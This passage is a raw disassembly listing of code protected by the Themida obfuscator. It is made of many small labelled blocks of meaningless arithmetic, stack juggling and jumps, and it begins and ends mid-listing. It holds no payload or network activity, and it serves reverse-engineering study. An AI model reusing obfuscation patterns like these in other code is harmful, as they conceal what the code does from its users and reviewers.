and edi, 0A724E3h
sub edi, 580D5FC3h
xor edi, 902BEF18h
add ebp, edi
pop edi
sub ebp, 3616186Fh
sub ebp, edx
add ebp, 3616186Fh
jmp loc_59A5F2
; ---------------------------------------------------------------------------
loc_59F741: ; CODE XREF: Themida_:00591822j
push edi
jmp loc_59A700
; ---------------------------------------------------------------------------
loc_59F747: ; CODE XREF: Themida_:0059B3E2j
pop dword ptr [esp]
add dword ptr [esp], 4
pop esi
push edi
jmp loc_5A101C
; ---------------------------------------------------------------------------
loc_59F758: ; CODE XREF: Themida_:00591F50j
neg edi
jmp loc_59BB37
; ---------------------------------------------------------------------------
loc_59F75F: ; CODE XREF: Themida_:005A039Fj
push ebp
jmp loc_59F975
; ---------------------------------------------------------------------------
loc_59F765: ; CODE XREF: Themida_:0059A342j
sub esi, edi
sub esi, 6A8D3736h
jmp loc_593AF7
; ---------------------------------------------------------------------------
loc_59F772: ; CODE XREF: Themida_:005A49E1j
push 6E4h
mov [esp], esi
mov esi, 4
jmp loc_59BB95
; ---------------------------------------------------------------------------
loc_59F784: ; CODE XREF: Themida_:0059BA11j
shl ecx, 5
push edi
mov edi, 0C71C6E04h
add ecx, edi
pop edi
add eax, 0D240B83h
add eax, ecx
jmp loc_59599B
; ---------------------------------------------------------------------------
loc_59F79C: ; CODE XREF: Themida_:005A3A60j
xor bl, 0B4h
shl bl, 3
push ecx
mov cl, 0
shl cl, 8
or cl, 68h
jmp loc_59FA29
; ---------------------------------------------------------------------------
loc_59F7B0: ; CODE XREF: Themida_:0059DB54j
mov ebx, edx
pop edx
or ebx, 1661527Fh
shl ebx, 5
push eax
push ecx
push ebp
push 2DF45E78h
jmp loc_5982F1
; ---------------------------------------------------------------------------
loc_59F7C9: ; CODE XREF: Themida_:0059E711j
shr esi, 5
xor esi, 1BCE842h
add ebx, esi
jmp loc_592B44
; ---------------------------------------------------------------------------
loc_59F7D9: ; CODE XREF: Themida_:0059709Fj
push esp
push dword ptr [esp]
jmp loc_5A164D
; ---------------------------------------------------------------------------
loc_59F7E2: ; CODE XREF: Themida_:005960F6j
mov ebp, [esp]
add esp, 4
jmp loc_593B35
; ---------------------------------------------------------------------------
loc_59F7F0: ; CODE XREF: Themida_:00592310j
push 3C66h
mov [esp], edi
jmp loc_5A4C6E
; ---------------------------------------------------------------------------
loc_59F7FD: ; CODE XREF: Themida_:005A5509j
pop ebx
mov edx, [esp]
add esp, 4
push dword ptr [esp]
mov eax, [esp]
add esp, 4
jmp loc_5A1764
; ---------------------------------------------------------------------------
loc_59F818: ; CODE XREF: Themida_:005998BAj
pop eax
add eax, 4
push ebx
jmp loc_596E33
; ---------------------------------------------------------------------------
loc_59F824: ; CODE XREF: Themida_:005A0049j
sub edi, ecx
jmp loc_59BBCD
; ---------------------------------------------------------------------------
loc_59F82B: ; CODE XREF: Themida_:00591BCFj
mov edx, [esp]
add esp, 4
push ebx
mov ebx, 0
sub ebx, esi
xchg ebx, esi
pop ebx
shr esi, 7
add esi, 66703085h
jmp loc_5A2F8C
; ---------------------------------------------------------------------------
loc_59F84A: ; CODE XREF: Themida_:0059B875j
pop ecx
add edi, eax
sub edi, 5B164135h
mov eax, [esp]
add esp, 4
jmp loc_59CB5B
; ---------------------------------------------------------------------------
loc_59F85E: ; CODE XREF: Themida_:0059E7F5j
pop eax
add cl, bh
pop ebx
sub cl, dl
jmp loc_59F09A
; ---------------------------------------------------------------------------
loc_59F869: ; CODE XREF: Themida_:0059B86Ej
add dword ptr [esp], 4
jmp loc_59B3FC
; ---------------------------------------------------------------------------
loc_59F875: ; CODE XREF: Themida_:00592A1Bj
mov ebp, [esp]
jmp loc_596782
; ---------------------------------------------------------------------------
loc_59F87D: ; CODE XREF: Themida_:00599C2Fj
dec eax
or eax, 406C2410h
sub eax, 776C6D0Ch
sub ebx, eax
pop eax
jmp loc_5A3834
; ---------------------------------------------------------------------------
loc_59F890: ; CODE XREF: Themida_:00592396j
add edi, ebp
pop ebp
push ebp
mov ebp, 574C30E4h
not ebp
sub ebp, 3421D5BEh
add edi, ebp
pop ebp
add eax, edi
jmp loc_592366
; ---------------------------------------------------------------------------
loc_59F8AB: ; CODE XREF: Themida_:005A378Ej
xor edi, 51E4777Ch
neg edi
jmp loc_5A44F7
; ---------------------------------------------------------------------------
loc_59F8B8: ; CODE XREF: Themida_:0059BDBDj
push eax
mov eax, 33A13D56h
jmp loc_590F70
; ---------------------------------------------------------------------------
loc_59F8C3: ; CODE XREF: Themida_:005A1A67j
sub al, dh
jmp loc_597B61
; ---------------------------------------------------------------------------
loc_59F8CA: ; CODE XREF: Themida_:005A1FD2j
not ecx
shr ecx, 2
dec ecx
xor ecx, 2FE1BFE4h
jmp loc_5A515F
; ---------------------------------------------------------------------------
loc_59F8DB: ; CODE XREF: Themida_:00596EECj
shr ecx, 2
not ecx
xor ecx, 0E79BB1D0h
add esi, ecx
pop ecx
add esi, 4
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
jmp loc_598306
; ---------------------------------------------------------------------------
loc_59F8FD: ; CODE XREF: Themida_:0059FFD5j
shl bh, 2
sub esp, 4
jmp loc_59E080
; ---------------------------------------------------------------------------
loc_59F908: ; CODE XREF: Themida_:005A4CC9j
mov eax, 4A4D3246h
sub ebx, eax
pop eax
mov esi, [esp]
add esp, 4
add ebp, 7DC5543h
add ebp, ebx
sub ebp, 7DC5543h
mov ebx, [esp]
add esp, 4
xor ebp, [esp]
jmp loc_596DAF
; ---------------------------------------------------------------------------
loc_59F932: ; CODE XREF: Themida_:005933BFj
mov [esp], sp
push si
jmp loc_5977E8
; ---------------------------------------------------------------------------
loc_59F93D: ; CODE XREF: Themida_:00599202j
mov [esp], eax
mov eax, 2
add ecx, eax
jmp loc_5A21BD
; ---------------------------------------------------------------------------
loc_59F94C: ; CODE XREF: Themida_:005A2C7Cj
pop edi
push 0
jmp loc_59A30A
; ---------------------------------------------------------------------------
loc_59F957: ; CODE XREF: Themida_:00596A48j
push 6BA6h
jmp loc_5941F6
; ---------------------------------------------------------------------------
loc_59F961: ; CODE XREF: Themida_:005A1862j
shl ecx, 2
push esi
jmp loc_5935A5
; ---------------------------------------------------------------------------
loc_59F96A: ; CODE XREF: Themida_:0059AE22j
sub ebx, 73E13732h
jmp loc_59477A
; ---------------------------------------------------------------------------
loc_59F975: ; CODE XREF: Themida_:0059F760j
sub esp, 4
mov [esp], edx
sub dword ptr [esp], 76E554DCh
pop ebp
jmp loc_5A4F61
; ---------------------------------------------------------------------------
loc_59F988: ; CODE XREF: Themida_:0059155Fj
sub ecx, esi
sub ecx, 44E3D3Bh
pop esi
pop eax
sub ecx, 284A6757h
sub ecx, ebp
add ecx, 284A6757h
add ecx, 5DBD2CD2h
pop ebp
sub esp, 4
mov [esp], ebp
push esp
mov ebp, [esp]
add esp, 4
push esi
push edi
mov edi, 7FCE2971h
or edi, 16311C6Ah
xor edi, 2316A22h
neg edi
jmp loc_59F526
; ---------------------------------------------------------------------------
loc_59F9D1: ; CODE XREF: Themida_:0059816Fj
add ebx, edi
push dword ptr [ebx]
add dword ptr [esp], 55794C94h
jmp loc_591CD8
; ---------------------------------------------------------------------------
loc_59F9E1: ; CODE XREF: Themida_:0059467Fj
sub ebx, 51BA776Bh
mov edi, [esp]
push edx
mov edx, esp
add edx, 4
jmp loc_591DBD
; ---------------------------------------------------------------------------
loc_59F9F8: ; CODE XREF: Themida_:0059475Fj
and ebp, 52B255E3h
add ebp, 0FFFFFFFFh
jmp loc_5A0A39
; ---------------------------------------------------------------------------
loc_59FA06: ; CODE XREF: Themida_:0059925Aj
push dx
mov dh, 56h
sub al, dh
mov dx, [esp]
add esp, 2
jmp loc_5A367E
; ---------------------------------------------------------------------------
lodsb
sub al, 0Ah
jmp loc_594460
; ---------------------------------------------------------------------------
loc_59FA20: ; CODE XREF: Themida_:0059490Cj
push ebp
mov ebp, esp
push esi
jmp loc_59284F
; ---------------------------------------------------------------------------
loc_59FA29: ; CODE XREF: Themida_:0059F7ABj
dec cl
inc cl
xor cl, 26h
sub bl, 75h
sub bl, cl
jmp loc_59E132
; ---------------------------------------------------------------------------
loc_59FA3A: ; CODE XREF: Themida_:0059C1B4j
xchg eax, [esp]
pop esp
push esi
push esp
pop esi
jmp loc_59C96A
; ---------------------------------------------------------------------------
loc_59FA46: ; CODE XREF: Themida_:00596FBEj
push esi
push edi
mov edi, 5CB45FC2h
shl edi, 6
and edi, 191F3775h
shr edi, 2
jmp loc_59962E
; ---------------------------------------------------------------------------
loc_59FA5E: ; CODE XREF: Themida_:0059B37Aj
pop edx
add ebx, esi
pop esi
sub ebx, 4
sub esp, 4
jmp loc_595FA9
; ---------------------------------------------------------------------------
loc_59FA73: ; CODE XREF: Themida_:005A1B24j
mov esi, 4
add [esp+4], esi
pop esi
pop ecx
jmp loc_59B07B
; ---------------------------------------------------------------------------
loc_59FA83: ; CODE XREF: Themida_:0059CB07j
push edx
mov edx, 4
sub esi, 68FD5FEEh
add esi, edx
add esi, 68FD5FEEh
jmp loc_5A0654
; ---------------------------------------------------------------------------
loc_59FA9C: ; CODE XREF: Themida_:005A05F8j
mov [esp], esi
mov esi, 174A356Bh
dec esi
or esi, 4CAA2004h
xor esi, 5FEA356Ch
add eax, 7B0666BFh
sub eax, 5E10150Eh
add eax, esi
add eax, 5E10150Eh
sub eax, 7B0666BFh
jmp loc_5A07BC
; ---------------------------------------------------------------------------
loc_59FACC: ; CODE XREF: Themida_:00593E51j
mov ebx, 92F497C7h
sub ebx, eax
jmp loc_59741A
; ---------------------------------------------------------------------------
loc_59FAD8: ; CODE XREF: Themida_:00596FD5j
add eax, ebx
jmp loc_599BC4
; ---------------------------------------------------------------------------
loc_59FADF: ; CODE XREF: Themida_:0059D352j
pop ebp
not esi
add esi, 0FFFFFFFFh
push edx
mov edx, 66055EE7h
shr edx, 4
not edx
or edx, 14062CF8h
xor edx, 2042CA2Eh
sub esi, edx
pop edx
sub edi, esi
pop esi
add edi, edx
add edi, 6ECD4FEBh
jmp loc_5915A3
; ---------------------------------------------------------------------------
loc_59FB12: ; CODE XREF: Themida_:005A26DFj
mov edi, [esp]
add esp, 4
push ebp
mov ebp, 35AD5A1Bh
sub ebx, ebp
pop ebp
add ebx, 65FD0CE4h
inc ebx
jmp loc_59E42A
; ---------------------------------------------------------------------------
loc_59FB2D: ; CODE XREF: Themida_:0059FC0Cj
add esi, 4
xchg esi, [esp]
pop esp
jmp loc_59C167
; ---------------------------------------------------------------------------
loc_59FB39: ; CODE XREF: Themida_:00592F6Cj
mov ebx, esp
add ebx, 4
jmp loc_5A47F3
; ---------------------------------------------------------------------------
loc_59FB46: ; CODE XREF: Themida_:0059AEC8j
mov [esp], esi
push edi
jmp loc_5A4059
; ---------------------------------------------------------------------------
loc_59FB4F: ; CODE XREF: Themida_:0059BF5Dj
mov ebp, 3DB96BBBh
xor ebp, 515D4BFFh
jmp loc_59C452
; ---------------------------------------------------------------------------
loc_59FB5F: ; CODE XREF: Themida_:0059B75Ej
pop esi
jmp loc_5935B1
; ---------------------------------------------------------------------------
loc_59FB65: ; CODE XREF: Themida_:005940CAj
xor eax, 24382449h
shl eax, 6
add eax, 77BDC993h
mov edi, eax
mov eax, [esp]
jmp loc_5958B6
; ---------------------------------------------------------------------------
loc_59FB7C: ; CODE XREF: Themida_:0059895Dj
push dword ptr [esp]
pop ebp
add esp, 4
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
pop esp
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_59FB95: ; CODE XREF: Themida_:0059BA4Aj
mov [esp], edx
mov edx, 4
mov esi, edx
pop edx
sub ebx, esi
pop esi
sub esp, 4
mov [esp], ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
mov esp, [esp]
mov [esp], edx
jmp loc_5A274C
; ---------------------------------------------------------------------------
loc_59FBBF: ; CODE XREF: Themida_:005A53EAj
mov [esp], ebp
push 7D55h
mov [esp], ecx
jmp loc_592E06
; ---------------------------------------------------------------------------
loc_59FBCF: ; CODE XREF: Themida_:005A4628j
xor ebx, 1AB5205Fh
shl ebx, 1
push eax
mov eax, 39A24886h
jmp loc_593C1B
; ---------------------------------------------------------------------------
loc_59FBE2: ; CODE XREF: Themida_:0059D71Bj
mov [esp], esi
mov esi, 47F73B6Bh
add eax, 752C2C16h
sub eax, esi
sub esp, 4
mov [esp], esi
mov esi, 752C2C16h
jmp loc_592A8F
; ---------------------------------------------------------------------------
loc_59FC04: ; CODE XREF: Themida_:005A4843j
mov esi, esp
add esi, 4
jmp loc_59FB2D
; ---------------------------------------------------------------------------
loc_59FC11: ; CODE XREF: Themida_:005A3BEFj
push dword ptr [esp]
pop ebx
add esp, 4
mov eax, [esp]
jmp loc_5918C4
; ---------------------------------------------------------------------------
loc_59FC20: ; CODE XREF: Themida_:00594EEFj
xor eax, [esp]
jmp loc_59151A
; ---------------------------------------------------------------------------
loc_59FC28: ; CODE XREF: Themida_:005999E8j
sub esp, 4
mov [esp], eax
mov eax, 0A5D9816Fh
jmp loc_59D8CD
; ---------------------------------------------------------------------------
loc_59FC38: ; CODE XREF: Themida_:0059A20Aj
pop edi
push ecx
jmp loc_59966E
; ---------------------------------------------------------------------------
loc_59FC3F: ; CODE XREF: Themida_:005924AEj
push 32E4h
mov [esp], eax
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_59FC4C: ; CODE XREF: Themida_:00593840j
add esp, 4
add esp, 4
add esp, 4
jmp loc_599D08
; ---------------------------------------------------------------------------
loc_59FC5A: ; CODE XREF: Themida_:005A0E15j
mov [esp], edi
jmp loc_59F19C
; ---------------------------------------------------------------------------
loc_59FC62: ; CODE XREF: Themida_:00599C69j
mov ch, bh
push bx
mov bl, ch
jmp loc_5979C9
; ---------------------------------------------------------------------------
loc_59FC6D: ; CODE XREF: Themida_:00598EFAj
pop edi
or eax, eax
jz loc_594CA0
push dword ptr [edi+1Ch]
push 26BBh
mov [esp], eax
mov eax, 13F472E2h
sub dword ptr [esp+4], 2BA80B4Ah
sub [esp+4], eax
add dword ptr [esp+4], 2BA80B4Ah
pop eax
pop ecx
push 7ACCh
mov [esp], ebx
mov ebx, 55D32BDBh
push edi
mov edi, 34AD1A99h
sub edi, 1
push esi
push eax
mov eax, 70E949D0h
sub eax, 5A841FFEh
shr eax, 2
sub eax, 0BE39D0EDh
jmp loc_59ECD8
; ---------------------------------------------------------------------------
loc_59FCCE: ; CODE XREF: Themida_:005993ABj
mov edx, 729F7AFEh
add ebx, 33A61B86h
add ebx, edx
jmp loc_592CD1
; ---------------------------------------------------------------------------
loc_59FCE0: ; CODE XREF: Themida_:00592346j
push eax
mov eax, 7A5D1EA3h
not eax
jmp loc_59AEAA
; ---------------------------------------------------------------------------
loc_59FCED: ; CODE XREF: Themida_:0059067Cj
xchg esi, [esp]
pop esp
mov bl, cl
pop ecx
jmp loc_5949F7
; ---------------------------------------------------------------------------
loc_59FCF9: ; CODE XREF: Themida_:005A2933j
push edx
mov edx, 53B575D5h
dec edx
sub edx, 4DCA4874h
jmp loc_594CD9
; ---------------------------------------------------------------------------
loc_59FD0B: ; CODE XREF: Themida_:0059D3C2j
pop edx
mov ecx, 28935B0Dh
sub ecx, ebx
jmp loc_5A0A20
; ---------------------------------------------------------------------------
loc_59FD18: ; CODE XREF: Themida_:005A4C7Cj
sub ebp, 4CB13A37h
jmp loc_5A5089
; ---------------------------------------------------------------------------
loc_59FD23: ; CODE XREF: Themida_:00599B9Dj
pop esi
push esi
push edi
mov edi, 5FB114F2h
mov esi, 5FB114F6h
xor esi, edi
jmp loc_5A12FB
; ---------------------------------------------------------------------------
loc_59FD37: ; CODE XREF: Themida_:005A1B33j
push dword ptr [esp+4]
mov edi, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
mov esp, [esp]
pop dword ptr [esp]
pop esp
sub [esp], al
pushf
jmp loc_594F25
; ---------------------------------------------------------------------------
loc_59FD5E: ; CODE XREF: Themida_:00593215j
add eax, 0CB7EFA04h
sub ebx, 4E43FEAh
add ebx, eax
add ebx, 4E43FEAh
pop eax
sub ebx, ebp
sub ebx, 1138361Eh
mov ebp, [esp]
jmp loc_5A158D
; ---------------------------------------------------------------------------
loc_59FD82: ; CODE XREF: Themida_:005A2786j
mov eax, 0ABE0C10h
jmp loc_59278F
; ---------------------------------------------------------------------------
loc_59FD8C: ; CODE XREF: Themida_:005981D1j
mov eax, [esp]
jmp loc_5A1F47
; ---------------------------------------------------------------------------
loc_59FD94: ; CODE XREF: Themida_:005A5644j
add esi, edi
mov edi, [esp]
jmp loc_591FEB
; ---------------------------------------------------------------------------
loc_59FD9E: ; CODE XREF: Themida_:005A32FCj
mov ebp, esp
add ebp, 4
sub esp, 4
mov [esp], edi
push esi
jmp loc_599776
; ---------------------------------------------------------------------------
loc_59FDB2: ; CODE XREF: Themida_:005A23E7j
mov esp, [esp]
push ebx
jmp loc_59B1EE
; ---------------------------------------------------------------------------
loc_59FDBB: ; CODE XREF: Themida_:0059E3A1j
pop esp
push 434Ch
jmp loc_597154
; ---------------------------------------------------------------------------
loc_59FDC6: ; CODE XREF: Themida_:005A16B3j
sub ebp, 0FAF43D3h
xor ebp, 4FB926D0h
jmp loc_591610
; ---------------------------------------------------------------------------
loc_59FDD7: ; CODE XREF: Themida_:005A0317j
shl ebp, 7
shl ebp, 3
sub ebp, 3EF42839h
sub esi, ebp
pop ebp
push eax
jmp loc_5A45D2
; ---------------------------------------------------------------------------
loc_59FDEC: ; CODE XREF: Themida_:00592139j
push esp
mov eax, [esp]
push ebx
jmp loc_598D4E
; ---------------------------------------------------------------------------
loc_59FDF6: ; CODE XREF: Themida_:0059894Ej
push ebx
jmp loc_59E0E4
; ---------------------------------------------------------------------------
loc_59FDFC: ; CODE XREF: Themida_:0059474Aj
pop ecx
push dword ptr [esp]
pop edx
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
sub edx, 5F870934h
mov eax, edx
jmp loc_593059
; ---------------------------------------------------------------------------
loc_59FE1D: ; CODE XREF: Themida_:0059E7D5j
pop ebx
jmp loc_59A934
; ---------------------------------------------------------------------------
loc_59FE23: ; CODE XREF: Themida_:0059A6BCj
mov dl, 97h
and bh, dl
pop edx
not bh
sub bh, 0FFh
shr bh, 2
jmp loc_59E997
; ---------------------------------------------------------------------------
loc_59FE35: ; CODE XREF: Themida_:005A1BA7j
xor [esp], di
xor di, [esp]
xor [esp], di
jmp loc_59367F
; ---------------------------------------------------------------------------
loc_59FE46: ; CODE XREF: Themida_:005A36C7j
add ecx, 612947B4h
add ecx, ebx
sub ecx, 612947B4h
pop ebx
push eax
jmp loc_59ED5F
; ---------------------------------------------------------------------------
loc_59FE5B: ; CODE XREF: Themida_:00590C41j
push 6F4Dh
mov [esp], ebx
push ebp
push eax
mov eax, 4000h
mov ebp, eax
pop eax
sub esp, 4
jmp loc_5A0765
; ---------------------------------------------------------------------------
loc_59FE75: ; CODE XREF: Themida_:00594A01j
pop ebp
add esp, 4
xor eax, [esp]
xor [esp], eax
jmp loc_5A1642
; ---------------------------------------------------------------------------
loc_59FE87: ; CODE XREF: Themida_:00595EA7j
pop eax
dec edi
sub edi, 2F696C42h
or edi, 3060273Fh
inc edi
add edi, 3E7B0FB4h
jmp loc_597F24
; ---------------------------------------------------------------------------
loc_59FEA1: ; CODE XREF: Themida_:005A4F4Fj
add ebx, 4
push edx
push 61166A5Eh
pop edx
neg edx
sub edx, 36711617h
shr edx, 2
shl edx, 5
xor edx, 4B4B13C2h
add edx, 0F7771082h
add ebx, edx
jmp loc_5A3B9B
; ---------------------------------------------------------------------------
loc_59FECF: ; CODE XREF: Themida_:0059499Ej
pop ebx
jmp loc_5975DF
; ---------------------------------------------------------------------------
loc_59FED5: ; CODE XREF: Themida_:0059F1BCj
add ebx, 7C6E2FA5h
pop edx
push ecx
mov ecx, esp
push esi
jmp loc_5A45B8
; ---------------------------------------------------------------------------
loc_59FEE5: ; CODE XREF: Themida_:005946BFj
mov edi, 4
jmp loc_5A07DE
; ---------------------------------------------------------------------------
loc_59FEEF: ; CODE XREF: Themida_:005915CBj
pop edx
sub edi, 75940FFh
add edi, ecx
add edi, 75940FFh
push esi
push edx
push 7F7D03C5h
pop edx
or edx, 61414DDCh
push eax
mov eax, 1788D7D6h
sub edx, eax
jmp loc_5A1FD7
; ---------------------------------------------------------------------------
loc_59FF19: ; CODE XREF: Themida_:00597442j
sub ebx, 64BD3B00h
add ebx, 69B33CB2h
add edx, ebx
jmp loc_5942CC
; ---------------------------------------------------------------------------
loc_59FF2C: ; CODE XREF: Themida_:0059AFEAj
mov esi, 4
sub edx, 4B872A83h
add edx, 73246ABCh
jmp loc_59A035
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop ax
sbb [esp], al
pushf
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_59FF51: ; CODE XREF: Themida_:005939C8j
push ebp
mov ebp, 8AB52ECh
and ebp, 6D9F1D76h
push esi
mov esi, 6067379Fh
push 79ECh
mov [esp], edi
mov edi, 427224E1h
push ecx
mov ecx, 2CE73383h
add edi, ecx
pop ecx
jmp loc_591603
; ---------------------------------------------------------------------------
loc_59FF7E: ; CODE XREF: Themida_:005A2626j
mov eax, 4
jmp loc_594315
; ---------------------------------------------------------------------------
loc_59FF88: ; CODE XREF: Themida_:00596D54j
pop edx
jmp loc_597630
; ---------------------------------------------------------------------------
loc_59FF8E: ; CODE XREF: Themida_:005A21E8j
mov edi, 3A5F2ADFh
mov ecx, 9A445548h
sub ecx, edi
pop edi
add eax, 4CA60FB5h
sub eax, ecx
push edi
jmp loc_5A18E6
; ---------------------------------------------------------------------------
loc_59FFA8: ; CODE XREF: Themida_:005A4AC4j
mov dl, 0A5h
jmp loc_592EAA
; ---------------------------------------------------------------------------
loc_59FFAF: ; CODE XREF: Themida_:005A3E5Dj
add ebp, 172136ACh
add ebp, 0FBDD7A5Ch
jmp loc_5A27CD
; ---------------------------------------------------------------------------
loc_59FFC0: ; CODE XREF: Themida_:005915FEj
sub edi, 2B340D6h
push edx
mov edx, 63D064B9h
sub edi, edx
jmp loc_590D6A
; ---------------------------------------------------------------------------
loc_59FFD3: ; CODE XREF: Themida_:0059B35Ej
xchg al, bh
jmp loc_59F8FD
; ---------------------------------------------------------------------------
loc_59FFDA: ; CODE XREF: Themida_:0059DB7Aj
xor bh, 0F1h
add al, bh
mov ebx, [esp]
add esp, 4
mov bx, [esp]
push 40A2h
mov [esp], ecx
push esp
pop ecx
add ecx, 4
add ecx, 2
xchg ecx, [esp]
mov esp, [esp]
push 521Ch
jmp loc_5A1A85
; ---------------------------------------------------------------------------
loc_5A000F: ; CODE XREF: Themida_:00597C47j
mov edx, 319F71A4h
inc edx
shl edx, 4
or edx, 5A81065h
and edx, 2A0136ECh
jmp loc_592469
; ---------------------------------------------------------------------------
loc_5A0029: ; CODE XREF: Themida_:0059E988j
pop esp
mov [esp], edx
mov edx, 4
mov ebx, edx
jmp loc_5A2C20
; ---------------------------------------------------------------------------
loc_5A0039: ; CODE XREF: Themida_:00590C08j
push edx
push 7FD746BAh
pop edx
mov ecx, edx
pop edx
add edi, 3CAC4FFBh
jmp loc_59F824
; ---------------------------------------------------------------------------
loc_5A004E: ; CODE XREF: Themida_:00596279j
shr eax, 2
shl eax, 7
jmp loc_59A472
; ---------------------------------------------------------------------------
loc_5A0059: ; CODE XREF: Themida_:00599CC4j
xchg edx, ebp
shl ebp, 4
push 42CFh
mov [esp], edx
mov edx, 24B70085h
add ebp, edx
pop edx
jmp loc_596524
; ---------------------------------------------------------------------------
loc_5A0073: ; CODE XREF: Themida_:0059D9B3j
xchg dl, cl
sub cl, 9Fh
xor bl, cl
pop ecx
xor al, bl
jmp loc_594CB9
; ---------------------------------------------------------------------------
mov cx, [esp]
push 2186h
mov [esp], ebp
push 1527h
mov [esp], esp
add dword ptr [esp], 4
pop ebp
jmp loc_5A52D8
; ---------------------------------------------------------------------------
loc_5A00A3: ; CODE XREF: Themida_:005A286Aj
push ebp
pop edx
pop ebp
push ecx
mov ecx, edx
jmp loc_591D44
; ---------------------------------------------------------------------------
loc_5A00AE: ; CODE XREF: Themida_:00594919j
add ebx, esi
mov esi, [esp]
jmp loc_5979AA
; ---------------------------------------------------------------------------
loc_5A00B8: ; CODE XREF: Themida_:0059C074j
xor [esp], edi
xor edi, [esp]
mov esp, [esp]
jmp loc_59800B
; ---------------------------------------------------------------------------
loc_5A00C6: ; CODE XREF: Themida_:0059B29Aj
push ebp
mov ebp, 20E6086Fh
jmp loc_59DF42
; ---------------------------------------------------------------------------
loc_5A00D1: ; CODE XREF: Themida_:005954F6j
mov edi, 3B515A98h
add edx, edi
jmp loc_593741
; ---------------------------------------------------------------------------
loc_5A00DD: ; CODE XREF: Themida_:00593028j
mov edi, 6ECC05EAh
push eax
mov eax, 57A54ECFh
sub [esp+8], eax
pop eax
sub [esp+4], edi
add dword ptr [esp+4], 57A54ECFh
push dword ptr [esp]
pop edi
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
pop edi
push ebx
jmp loc_5A3C3B
; ---------------------------------------------------------------------------
loc_5A0117: ; CODE XREF: Themida_:005A104Dj
xor esi, [esp]
mov esp, [esp]
shl word ptr [esp], cl
pushf
jmp loc_59D170
; ---------------------------------------------------------------------------
loc_5A0127: ; CODE XREF: Themida_:0059A0B0j
and ecx, 3F9B4366h
or ecx, 95B12C7h
add ecx, 21D0037Fh
push ecx
pop eax
mov ecx, [esp]
add esp, 4
push ecx
mov ecx, 21936402h
sub eax, ecx
pop ecx
add eax, 0FF483988h
add edx, eax
pop eax
sub esp, 4
mov [esp], ebp
jmp loc_59F6FF
; ---------------------------------------------------------------------------
loc_5A0160: ; CODE XREF: Themida_:00596944j
pop dword ptr [esp]
jmp loc_5997B9
; ---------------------------------------------------------------------------
loc_5A0168: ; CODE XREF: Themida_:0059598Ej
push eax
mov eax, esp
add eax, 4
add eax, 4
push 2866h
mov [esp], eax
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
pop esp
jmp loc_5A0C6E
; ---------------------------------------------------------------------------
loc_5A0189: ; CODE XREF: Themida_:00598295j
xor eax, edx
pop edx
sub eax, 1
add eax, 0FFFFFFFFh
shl eax, 3
jmp loc_5A3FBE
; ---------------------------------------------------------------------------
loc_5A019A: ; CODE XREF: Themida_:005928F4j
xchg ecx, [esp]
mov esp, [esp]
mov esi, [esp]
add esp, 4
jmp loc_592EBC
; ---------------------------------------------------------------------------
loc_5A01AB: ; CODE XREF: Themida_:0059D8E3j
sub ecx, 4C7D1B4Ah
sub ecx, 0B84DC988h
add eax, ecx
pop ecx
sub eax, 76132D26h
pop ebp
push 26BEh
mov [esp], ebp
mov ebp, 15070424h
sub esp, 4
mov [esp], edx
mov edx, 25325694h
dec edx
not edx
xor edx, 0AD5085FFh
sub ebp, edx
mov edx, [esp]
add esp, 4
xor ebp, 62206660h
push edx
mov edx, 60067101h
neg edx
add edx, 74688E9Ah
and ebp, edx
pop edx
push ecx
mov ecx, 6AD30FBh
or ecx, 6B6F6091h
and ecx, 8DC1B02h
xor ecx, 631392Bh
jmp loc_5A3D83
; ---------------------------------------------------------------------------
loc_5A021D: ; CODE XREF: Themida_:005A4F41j
push esi
mov esi, 0B590D62Bh
mov edx, esi
jmp loc_59610D
; ---------------------------------------------------------------------------
loc_5A022A: ; CODE XREF: Themida_:00599967j
mov ecx, 4
sub esp, 4
mov [esp], ecx
push 5EC6h
mov [esp], ecx
mov ecx, 7E300A59h
add [esp+4], ecx
pop ecx
pop edi
sub esp, 4
mov [esp], edx
push 8BC18A6h
pop edx
sub edx, 10CA04FCh
jmp loc_593660
; ---------------------------------------------------------------------------
loc_5A0265: ; CODE XREF: Themida_:005A209Aj
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_5A026A: ; CODE XREF: Themida_:00592246j
not ecx
sub ecx, 0BA86A01h
sub ecx, 8CC41280h
add edi, ecx
pop ecx
push eax
push 4
pop eax
jmp loc_5A2FE4
; ---------------------------------------------------------------------------
loc_5A0287: ; CODE XREF: Themida_:0059303Fj
push esi
push edx
jmp loc_5A2DD1
; ---------------------------------------------------------------------------
loc_5A028E: ; CODE XREF: Themida_:005A414Ej
add dword ptr [esp], 4
pop ecx
push ebp
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
pop esp
mov [esp], ecx
mov ecx, 1BA96DC5h
jmp loc_5915D0
; ---------------------------------------------------------------------------
loc_5A02BA: ; CODE XREF: Themida_:0059D117j
add edi, 394F4625h
jmp loc_59E0D6
; ---------------------------------------------------------------------------
loc_5A02C5: ; CODE XREF: Themida_:0059A1EFj
shl eax, 6
shr eax, 2
neg eax
add eax, 0B0B51EE0h
or edx, eax
pop eax
jmp loc_5962AA
; ---------------------------------------------------------------------------
loc_5A02DA: ; CODE XREF: Themida_:00596ED6j
shl ebp, 1
add ebp, 1
or ebp, 60653BA2h
push 60B1h
mov [esp], eax
mov eax, 7BDD8B99h
sub ebp, eax
pop eax
sub eax, ebp
mov ebp, [esp]
push ebp
jmp loc_59A5D1
; ---------------------------------------------------------------------------
loc_5A0303: ; CODE XREF: Themida_:00592D4Cj
neg ebp
or ebp, 79DC3BB0h
sub ebp, 0BFA513Ah
add ebp, 0AE37FC01h
jmp loc_59FDD7
; ---------------------------------------------------------------------------
loc_5A031C: ; CODE XREF: Themida_:0059ED0Fj
sub eax, 0B019E950h
add ebp, eax
pop eax
sub ebp, 4
jmp loc_59A961
; ---------------------------------------------------------------------------
loc_5A032C: ; CODE XREF: Themida_:005A2741j
